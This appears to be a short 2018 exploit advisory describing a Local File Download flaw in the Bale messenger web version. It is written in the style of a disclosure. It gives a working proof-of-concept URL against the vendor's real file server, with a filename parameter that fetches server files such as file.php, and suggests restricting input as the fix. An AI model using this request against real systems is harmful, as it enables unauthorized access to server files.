[+] Exploit Title ; Bale Messenger Web Version Local File Download(LFD) Vulnerability [+] Date : 2018-04-07 [+] Author : 0P3N3R From IRANIAN ETHICAL HACKERS [+] Vendor Homepage : https://bale.ai/ [+] Dork : N/A [+] Forum : irethicalhackers.com/forums [+] Tested On : windows 10 - kali linux 2.0 [+] Contact : https://telegram.me/WebServer [+] Description : [!] Bale is An extremely powerful and popular instant messenger [!] Bale Has three versions of the desktop - Web and mobile. [!] More than 100,000 users use it in Iran You can Download it from App Store And bazar [+] Poc : [+] Video : [!] [!] Open the link and enter the filename. [!] https://fileserver-c002.bale.ai/cvpO7QesMbIG4PyrDTHPqke9i4cKVsLrTf4kUReeQjjrRetjbVZsCS6QQHxF6GNi?filename=Your File Name [!] For Ex : [!] https://fileserver-c002.bale.ai/cvpO7QesMbIG4PyrDTHPqke9i4cKVsLrTf4kUReeQjjrRetjbVZsCS6QQHxF6GNi?filename=file.php [+] Security Level : [!] Medium [+] Exploitation Technique: [!] Remote [+] Request Method : [!] GET [+] Vulnerability Files : [!] Index [+] Fix : [!] Restrict user input or replace bad characters [+] We Are : [+] 0P3N3R [+] Mehrdad_Ice [+] S0!hp